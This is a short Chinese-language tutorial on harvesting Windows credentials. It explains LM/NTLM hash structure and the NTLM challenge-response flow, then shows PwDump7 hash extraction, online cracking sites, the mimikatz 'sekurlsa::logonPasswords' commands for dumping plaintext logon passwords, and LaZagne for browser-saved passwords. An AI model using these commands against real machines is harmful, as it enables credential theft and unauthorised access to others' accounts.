0x01Windows 本地密码Hash
Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。Windows系统下hash密码格式用户名称:RID:LM-HASH值:NT-HASH值(用户密码)。
NTLM的认证流程:
1、首先在客户端中输入username,password和domain,然后客户端会把密码进行Hash后的值先缓存到本地。
2、Client将username的明文发送给DC(域控)。
3、DC会生成一个16字节的随机数,也就是挑战码(Challenge),然后再传回给Client。
4、当Client收到挑战码以后,会先复制一份,然后和缓存中的密码Hash再一同混合Hash一次,混合后的值称为response,之后Client再将challenge,response以及username一并都传给server。
5、Server端在收到client传过来的这三个值以后会把它们都转发给DC。
6、当DC接到过来的这三个值的以后,会根据username到域控的账号数据库(ntds.dit)里面找到该username对应的hash,然后把这个hash拿出来和传过来的challenge值再混合hash。
7、将混合后的hash值跟传来的response进行比较,相同则认证成功,反之,则失败,当然,如果是本地登录,所有验证肯定也全部都直接在本地进行了。
使用PwDump工具获取密码Hash
D:>PwDump7.exe
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es
adm
例:
Administrator:500:AF01DF70036EBACFAAD3B435B51404EE:44F077E27F6FEF69E7BD834C7242B040
用户名称为:Administrator
RID为:500
LM-HASH值为:AF01DF70036EBACFAAD3B435B51404EE
NT-HASH值为:44F077E27F6FEF69E7BD834C7242B040
破解方式一:hash在线破解网站
https://www.objectif-securite.ch/ophcrack
http://cmd5.com
破解方式二:mimikatz
提取Windows系统的明文密码:
privilege::debug
sekurlsa::logonPasswords
拓展mimikatz学习:
https://blog.csdn.net/pyphrb/article/details/52051321//内网渗透中mimikatz的使用
http://www.isharepc.com/300.html//法国神器直接获取windows登陆密码
0x02抓取浏览器密码
很多浏览器都提供了记住密码的功能,用户在登录一些网站的时候会选择记住密码。
LaZagne:提取浏览器所保存的密码
github地址:
https://github.com/AlessandroZ/LaZagne